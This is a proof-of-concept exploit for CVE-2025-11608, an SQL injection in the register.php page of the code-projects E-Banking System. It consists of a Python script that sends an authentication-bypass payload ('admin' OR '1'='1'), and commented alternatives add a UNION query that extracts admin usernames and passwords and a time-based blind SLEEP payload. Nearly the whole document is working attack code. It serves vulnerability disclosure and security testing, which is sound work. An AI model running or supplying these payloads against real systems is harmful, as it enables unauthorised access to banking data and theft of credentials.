CVE-2025-11608：code-projects E-Banking System SQL注入漏洞

# CVE-2025-11608 - code-projects E-Banking System SQL Injection PoC # Vulnerability: SQL Injection in /register.php via username/password POST parameters # Author: lakshayyverma (CVE-Discovery) # Tested on: code-projects E-Banking System 1.0 import requests # Target configuration TARGET_URL = "http://target.com/register.php" # SQL Injection payload - testing authentication bypass via username field payload_username = "admin' OR '1'='1' -- " payload_password = "anything" # POST data with malicious SQL injection in username parameter data = { "username": payload_username, "password": payload_password, "submit": "Register" # or whatever the submit button name is } # Send the malicious request response = requests.post(TARGET_URL, data=data) # Check response for successful injection indicators if response.status_code == 200: print("[+] SQL Injection payload sent successfully") print(f"[+] Response length: {len(response.text)}") # Check for database error messages or successful bypass indicators if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[+] Database error detected - vulnerability confirmed") elif "welcome" in response.text.lower() or "dashboard" in response.text.lower(): print("[+] Authentication bypassed - injection successful") else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: UNION-based injection to extract database information # payload_username = "' UNION SELECT 1,username,password,4 FROM admin-- " # payload_password = "test" # Alternative: Time-based blind injection # payload_username = "admin' AND SLEEP(5)-- " # payload_password = "test"